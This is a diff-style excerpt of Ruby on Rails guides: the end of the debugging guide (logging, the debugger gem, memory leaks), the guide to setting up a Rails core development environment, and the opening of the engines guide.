+attributes_cache: {}
+
+Title: Rails debugging guide
+```
+
+### `inspect`
+
+Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
+
+```html+erb
+<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+ <b>Title:</b>
+ <%= @post.title %>
+</p>
+```
+
+Will be rendered as follows:
+
+```
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+```
+
+The Logger
+----------
+
+It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
+
+### What is the Logger?
+
+Rails makes use of the `ActiveSupport::Logger` class to write log information. You can also substitute another logger such as `Log4r` if you wish.
+
+You can specify an alternative logger in your `environment.rb` or any environment file:
+
+```ruby
+Rails.logger = Logger.new(STDOUT)
+Rails.logger = Log4r::Logger.new("Application Log")
+```
+
+Or in the `Initializer` section, add _any_ of the following
+
+```ruby
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+```
+
+TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`.
+
+### Log Levels
+
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `Rails.logger.level` method.
+
+The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use
+
+```ruby
+config.log_level = :warn # In any environment initializer, or
+Rails.logger.level = 0 # at any time
+```
+
+This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
+
+TIP: The default Rails log level is `info` in production mode and `debug` in development and test mode.
+
+### Sending Messages
+
+To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+
+```ruby
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+```
+
+Here's an example of a method instrumented with extra logging:
+
+```ruby
+class PostsController < ApplicationController
+ # ...
+
+ def create
+ @post = Post.new(params[:post])
+ logger.debug "New post: #{@post.attributes.inspect}"
+ logger.debug "Post should be valid: #{@post.valid?}"
+
+ if @post.save
+ flash[:notice] = 'Post was successfully created.'
+ logger.debug "The post was saved and now the user is going to be redirected..."
+ redirect_to(@post)
+ else
+ render action: "new"
+ end
+ end
+
+ # ...
+end
+```
+
+Here's an example of the log generated when this controller action is executed:
+
+```
+Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+ Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+ Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+ Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now the user is going to be redirected...
+Redirected to #<Post:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+```
+
+Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.
+
+### Tagged Logging
+
+When running multi-user, multi-account applications, it’s often useful to be able to filter the logs using some custom rules. `TaggedLogging` in ActiveSupport helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+```ruby
+logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged("BCX") { logger.info "Stuff" } # Logs "[BCX] Stuff"
+logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff"
+logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+```
+
+Debugging with the `debugger` gem
+---------------------------------
+
+When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+
+The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+
+### Setup
+
+You can use the `debugger` gem to set breakpoints and step through live code in Rails. To install it, just run:
+
+```bash
+$ gem install debugger
+```
+
+Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+
+Here's an example:
+
+```ruby
+class PeopleController < ApplicationController
+ def new
+ debugger
+ @person = Person.new
+ end
+end
+```
+
+If you see this message in the console or logs:
+
+```
+***** Debugger requested, but was not available: Start server with --debugger to enable *****
+```
+
+Make sure you have started your web server with the option `--debugger`:
+
+```bash
+$ rails server --debugger
+=> Booting WEBrick
+=> Rails 3.2.13 application starting on http://0.0.0.0:3000
+=> Debugger enabled
+...
+```
+
+TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, even if it was started without `--debugger`.
+
+### The Shell
+
+As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+
+If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+
+For example:
+
+```bash
+ at posts = Post.all
+(rdb:7)
+```
+
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help. Type: `help`
+
+```
+(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help <command-name>' for help on a specific command
+
+Available commands:
+backtrace delete enable help next quit show trace
+break disable eval info p reload source undisplay
+catch display exit irb pp restart step up
+condition down finish list ps save thread var
+continue edit frame method putl set tmate where
+```
+
+TIP: To view the help menu for any command use `help <command-name>` at the debugger prompt. For example: _`help var`_
+
+The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command.
+
+This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`.
+
+```
+(rdb:7) list
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+ 1 class PostsController < ApplicationController
+ 2 # GET /posts
+ 3 # GET /posts.json
+ 4 def index
+ 5 debugger
+=> 6 @posts = Post.all
+ 7
+ 8 respond_to do |format|
+ 9 format.html # index.html.erb
+ 10 format.json { render :json => @posts }
+```
+
+If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out.
+
+```
+(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+ 11 end
+ 12 end
+ 13
+ 14 # GET /posts/1
+ 15 # GET /posts/1.json
+ 16 def show
+ 17 @post = Post.find(params[:id])
+ 18
+ 19 respond_to do |format|
+ 20 format.html # show.html.erb
+```
+
+And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+
+On the other hand, to see the previous ten lines you should type `list-` (or `l-`)
+
+```
+(rdb:7) l-
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+ 1 class PostsController < ApplicationController
+ 2 # GET /posts
+ 3 # GET /posts.json
+ 4 def index
+ 5 debugger
+ 6 @posts = Post.all
+ 7
+ 8 respond_to do |format|
+ 9 format.html # index.html.erb
+ 10 format.json { render :json => @posts }
+```
+
+This way you can move inside the file, being able to see the code above and over the line you added the `debugger`.
+Finally, to see where you are in the code again you can type `list=`
+
+```
+(rdb:7) list=
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+ 1 class PostsController < ApplicationController
+ 2 # GET /posts
+ 3 # GET /posts.json
+ 4 def index
+ 5 debugger
+=> 6 @posts = Post.all
+ 7
+ 8 respond_to do |format|
+ 9 format.html # index.html.erb
+ 10 format.json { render :json => @posts }
+```
+
+### The Context
+
+When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
+
+The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
+
+At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
+
+```
+(rdb:5) where
+ #0 PostsController.index
+ at line /PathTo/project/app/controllers/posts_controller.rb:6
+ #1 Kernel.send
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+```
+
+You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+
+```
+(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+```
+
+The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+
+Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+
+### Threads
+
+The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+
+* `thread` shows the current thread.
+* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* `thread stop _n_` stop thread _n_.
+* `thread resume _n_` resumes thread _n_.
+* `thread switch _n_` switches the current thread context to _n_.
+
+This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+
+### Inspecting Variables
+
+Any expression can be evaluated in the current context. To evaluate an expression, just type it!
+
+This example shows how you can print the instance_variables defined within the current context:
+
+```
+ at posts = Post.all
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
+```
+
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
+
+```
+(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+ Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+ Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
+```
+
+And then ask again for the instance_variables:
+
+```
+(rdb:11) instance_variables.include? "@posts"
+true
+```
+
+Now `@posts` is included in the instance variables, because the line defining it was executed.
+
+TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+
+The `var` method is the most convenient way to show variables and their values:
+
+```
+var
+(rdb:1) v[ar] const <object> show constants of object
+(rdb:1) v[ar] g[lobal] show global variables
+(rdb:1) v[ar] i[nstance] <object> show instance variables of object
+(rdb:1) v[ar] l[ocal] show local variables
+```
+
+This is a great way to inspect the values of the current context variables. For example:
+
+```
+(rdb:9) var local
+ __dbg_verbose_save => false
+```
+
+You can also inspect for an object method this way:
+
+```
+(rdb:9) var instance Post.new
+ at attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+ at attributes_cache = {}
+ at new_record = true
+```
+
+TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+
+You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+
+```
+(rdb:1) display @recent_comments
+1: @recent_comments =
+```
+
+The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+
+### Step by Step
+
+Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
+
+Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger.
+
+TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively.
+
+You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+
+The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+
+For example, consider this block of code with an included `debugger` statement:
+
+```ruby
+class Author < ActiveRecord::Base
+ has_one :editorial
+ has_many :comments
+
+ def find_recent_comments(limit = 10)
+ debugger
+ @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+ end
+end
+```
+
+TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method.
+
+```
+$ rails console
+Loading development environment (Rails 3.2.13)
+>> require "debugger"
+=> []
+>> author = Author.first
+=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
+>> author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)
+```
+
+With the code stopped, take a look around:
+
+```
+(rdb:1) list
+[2, 9] in /PathTo/project/app/models/author.rb
+ 2 has_one :editorial
+ 3 has_many :comments
+ 4
+ 5 def find_recent_comments(limit = 10)
+ 6 debugger
+=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+ 8 end
+ 9 end
+```
+
+You are at the end of the line, but... was this line executed? You can inspect the instance variables.
+
+```
+(rdb:1) var instance
+ at attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+ at attributes_cache = {}
+```
+
+`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code:
+
+```
+(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+ at recent_comments
+(rdb:1) var instance
+ at attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+ at attributes_cache = {}
+ at comments = []
+ at recent_comments = []
+```
+
+Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed.
+
+If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+
+### Breakpoints
+
+A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
+
+You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+
+* `break line`: set breakpoint in the _line_ in the current source file.
+* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
+* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+
+```
+(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+```
+
+Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+
+```
+(rdb:5) info breakpoints
+Num Enb What
+ 1 y at filters.rb:10
+```
+
+To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+
+```
+(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.
+```
+
+You can also enable or disable breakpoints:
+
+* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
+
+### Catching Exceptions
+
+The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+
+To list all active catchpoints use `catch`.
+
+### Resuming Execution
+
+There are two ways to resume execution of an application that is stopped in the debugger:
+
+* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+
+### Editing
+
+Two commands allow you to open code from the debugger into an editor:
+
+* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
+* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+
+### Quitting
+
+To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+
+A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
+
+### Settings
+
+The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
+
+* `set reload`: Reload source code when changed.
+* `set autolist`: Execute `list` command on every breakpoint.
+* `set listsize _n_`: Set number of source lines to list by default to _n_.
+* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+
+You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command.
+
+TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts.
+
+Here's a good start for an `.rdebugrc`:
+
+```bash
+set autolist
+set forcestep
+set listsize 25
+```
+
+Debugging Memory Leaks
+----------------------
+
+A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
+
+In this section, you will learn how to find and fix such leaks by using tool such as Valgrind.
+
+### Valgrind
+
+[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions.
+
+There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
+
+For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver.
+
+Plugins for Debugging
+---------------------
+
+There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
+
+* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has footnotes that give request information and link back to your source via TextMate.
+* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query origin tracing to your logs.
+* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.

+Development Dependencies Install
+================================
+
+This guide covers how to setup an environment for Ruby on Rails core development.
+
+After reading this guide, you will know:
+
+--------------------------------------------------------------------------------
+
+The Easy Way
+------------
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+The Hard Way
+------------
+
+In case you can't use the Rails development box, see section above, these are the steps to manually build a development box for Ruby on Rails core development.
+
+### Install Git
+
+Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
+
+* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics.
+* The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git
+* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by.
+* The [PeepCode screencast](https://peepcode.com/products/git) on Git ($9) is easier to follow.
+* [GitHub](http://help.github.com) offers links to a variety of Git resources.
+* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license.
+
+### Clone the Ruby on Rails Repository
+
+Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:
+
+```bash
+$ git clone git://github.com/rails/rails.git
+$ cd rails
+```
+
+### Set up and Run the Tests
+
+The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
+
+Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
+
+```bash
+$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
+```
+
+If you are on Fedora or CentOS, you can run
+
+```bash
+$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
+```
+
+If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) .
+
+Also, SQLite3 and its development files for the `sqlite3-ruby` gem — in Ubuntu you're done with just
+
+```bash
+$ sudo apt-get install sqlite3 libsqlite3-dev
+```
+
+And if you are on Fedora or CentOS, you're done with
+
+```bash
+$ sudo yum install sqlite3 sqlite3-devel
+```
+
+Get a recent version of [Bundler](http://gembundler.com/)
+
+```bash
+$ gem install bundler
+$ gem update bundler
+```
+
+and run:
+
+```bash
+$ bundle install --without db
+```
+
+This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with:
+
+```bash
+$ bundle exec rake test
+```
+
+You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:
+
+```bash
+$ cd actionpack
+$ bundle exec rake test
+```
+
+If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests of the `railties/test/generators` directory only:
+
+```bash
+$ cd railties
+$ TEST_DIR=generators bundle exec rake test
+```
+
+You can run any single test separately too:
+
+```bash
+$ cd actionpack
+$ bundle exec ruby -Itest test/template/form_helper_test.rb
+```
+
+### Active Record Setup
+
+The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them.
+
+WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+
+#### Database Configuration
+
+The Active Record test suite requires a custom config file: `activerecord/test/config.yml`. An example is provided in `activerecord/test/config.example.yml` which can be copied and used as needed for your environment.
+
+#### MySQL and PostgreSQL
+
+To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
+
+```bash
+$ sudo apt-get install mysql-server libmysqlclient15-dev
+$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+```
+
+On Fedora or CentOS, just run:
+
+```bash
+$ sudo yum install mysql-server mysql-devel
+$ sudo yum install postgresql-server postgresql-devel
+```
+
+After that run:
+
+```bash
+$ rm .bundle/config
+$ bundle install
+```
+
+We need first to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
+
+In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases:
+
+```bash
+$ mysql -uroot -p
+
+mysql> CREATE USER 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+ to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+ to 'rails'@'localhost';
+```
+
+and create the test databases:
+
+```bash
+$ cd activerecord
+$ bundle exec rake mysql:build_databases
+```
+
+PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
+
+```bash
+$ sudo -u postgres createuser --superuser $USER
+```
+
+and then create the test databases with
+
+```bash
+$ cd activerecord
+$ bundle exec rake postgresql:build_databases
+```
+
+It is possible to build databases for both PostgreSQL and MySQL with
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:create
+```
+
+You can cleanup the databases using
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:drop
+```
+
+NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
+
+NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
+
+If you’re using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.

+Getting Started with Engines
+============================
+
+In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface.
+
+After reading this guide, you will know:
+
+* What makes an engine.
+* How to generate an engine.
+* Building features for the engine.
+* Hooking the engine into an application.
+* Overriding engine functionality in the application.
+
+--------------------------------------------------------------------------------
+
+What are engines?
+-----------------
+
+Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behavior from `Rails::Engine`.
+
+Therefore, engines and applications can be thought of almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure.
+
+Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine.
+
+The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
+
+It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
+
+To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
+
+Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
+
+Generating an engine
+--------------------
+
+To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:
+
+```bash
+$ rails plugin new blorgh --mountable
+```
+
+The full list of options for the plugin generator may be seen by typing:
+
+```bash
+$ rails plugin --help
+```
+
+The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following:
+
+ * An `app` directory tree
+ * A `config/routes.rb` file:
+
+ ```ruby
+ Rails.application.routes.draw do
+ end
+ ```
+ * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file:
+
+ ```ruby
+ module Blorgh
+ class Engine < ::Rails::Engine
+ end
+ end
+ ```
+
+The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add:
+
+ * Asset manifest files (`application.js` and `application.css`)
+ * A namespaced `ApplicationController` stub
+ * A namespaced `ApplicationHelper` stub
+ * A layout view template for the engine
+ * Namespace isolation to `config/routes.rb`:
+
+ ```ruby
+ Blorgh::Engine.routes.draw do
+ end
+ ```
+
+ * Namespace isolation to `lib/blorgh/engine.rb`:
+
+ ```ruby
+ module Blorgh
+ class Engine < ::Rails::Engine
+ isolate_namespace Blorgh
+ end
+ end
+ ```
+
+Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`:
+
+```ruby
+mount Blorgh::Engine, at: "blorgh"
+```
+
+### Inside an engine
+
+#### Critical files
+
+At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`:
+
+```ruby
+gem 'blorgh', path: "vendor/engines/blorgh"
+```
+
+By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`.
+
+```ruby
+require "blorgh/engine"
+
+module Blorgh
+end
+```
+
+TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go.
+
+Within `lib/blorgh/engine.rb` is the base class for the engine:
+
+```ruby
+module Blorgh
+ class Engine < Rails::Engine
+ isolate_namespace Blorgh
+ end
+end
+```
+
+By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views.
+
+The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such [...]

+NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application.
+
